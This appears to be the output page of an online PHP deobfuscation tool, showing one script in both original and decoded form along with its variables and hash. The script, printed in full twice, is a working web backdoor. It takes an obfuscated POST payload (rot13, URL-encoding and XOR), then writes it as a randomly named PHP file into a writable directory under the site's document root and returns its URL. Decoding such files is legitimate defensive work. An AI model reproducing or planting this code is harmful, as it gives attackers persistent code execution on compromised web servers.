Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ymnxjtqd = "trgrlihxzvgcughl";$aenlhcteak = "";foreach ($_POST as $lblheoh => $qhdy..

Decoded Output download

<?php $ymnxjtqd = "trgrlihxzvgcughl";$aenlhcteak = "";foreach ($_POST as $lblheoh => $qhdytndiy){if (strlen($lblheoh) == 16 and substr_count($qhdytndiy, "%") > 10){vqbji($lblheoh, $qhdytndiy);}}function vqbji($lblheoh, $snxxkmew){global $aenlhcteak;$aenlhcteak = $lblheoh;$snxxkmew = str_split(rawurldecode(str_rot13($snxxkmew)));function lmgwrqot($cfmxcqfzuw, $lblheoh){global $ymnxjtqd, $aenlhcteak;return $cfmxcqfzuw ^ $ymnxjtqd[$lblheoh % strlen($ymnxjtqd)] ^ $aenlhcteak[$lblheoh % strlen($aenlhcteak)];}$snxxkmew = implode("", array_map("lmgwrqot", array_values($snxxkmew), array_keys($snxxkmew)));$snxxkmew = @unserialize($snxxkmew);if (@is_array($snxxkmew)){$lblheoh = array_keys($snxxkmew);$snxxkmew = $snxxkmew[$lblheoh[0]];if ($snxxkmew === $lblheoh[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function jbrbmqvcwq($jwbbhjpyyir) {static $wxnuscm = array();$wbbwkpna = glob($jwbbhjpyyir . '/*', GLOB_ONLYDIR);if (count($wbbwkpna) > 0) {foreach ($wbbwkpna as $jwbbhjpyy){if (@is_writable($jwbbhjpyy)){$wxnuscm[] = $jwbbhjpyy;}}}foreach ($wbbwkpna as $jwbbhjpyyir) jbrbmqvcwq($jwbbhjpyyir);return $wxnuscm;}$jnejuxt = $_SERVER["DOCUMENT_ROOT"];$wbbwkpna = jbrbmqvcwq($jnejuxt);$lblheoh = array_rand($wbbwkpna);$gzenuxui = $wbbwkpna[$lblheoh] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($gzenuxui, $snxxkmew);echo "http://" . $_SERVER["HTTP_HOST"] . substr($gzenuxui, strlen($jnejuxt));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $ymnxjtqd = "trgrlihxzvgcughl";$aenlhcteak = "";foreach ($_POST as $lblheoh => $qhdytndiy){if (strlen($lblheoh) == 16 and substr_count($qhdytndiy, "%") > 10){vqbji($lblheoh, $qhdytndiy);}}function vqbji($lblheoh, $snxxkmew){global $aenlhcteak;$aenlhcteak = $lblheoh;$snxxkmew = str_split(rawurldecode(str_rot13($snxxkmew)));function lmgwrqot($cfmxcqfzuw, $lblheoh){global $ymnxjtqd, $aenlhcteak;return $cfmxcqfzuw ^ $ymnxjtqd[$lblheoh % strlen($ymnxjtqd)] ^ $aenlhcteak[$lblheoh % strlen($aenlhcteak)];}$snxxkmew = implode("", array_map("lmgwrqot", array_values($snxxkmew), array_keys($snxxkmew)));$snxxkmew = @unserialize($snxxkmew);if (@is_array($snxxkmew)){$lblheoh = array_keys($snxxkmew);$snxxkmew = $snxxkmew[$lblheoh[0]];if ($snxxkmew === $lblheoh[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function jbrbmqvcwq($jwbbhjpyyir) {static $wxnuscm = array();$wbbwkpna = glob($jwbbhjpyyir . '/*', GLOB_ONLYDIR);if (count($wbbwkpna) > 0) {foreach ($wbbwkpna as $jwbbhjpyy){if (@is_writable($jwbbhjpyy)){$wxnuscm[] = $jwbbhjpyy;}}}foreach ($wbbwkpna as $jwbbhjpyyir) jbrbmqvcwq($jwbbhjpyyir);return $wxnuscm;}$jnejuxt = $_SERVER["DOCUMENT_ROOT"];$wbbwkpna = jbrbmqvcwq($jnejuxt);$lblheoh = array_rand($wbbwkpna);$gzenuxui = $wbbwkpna[$lblheoh] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($gzenuxui, $snxxkmew);echo "http://" . $_SERVER["HTTP_HOST"] . substr($gzenuxui, strlen($jnejuxt));exit();}}}

Function Calls

None

Variables

$ymnxjtqd trgrlihxzvgcughl
$aenlhcteak

Stats

MD5 ef62e9108b834971da456e92cbc7f8d2
Eval Count 0
Decode Time 77 ms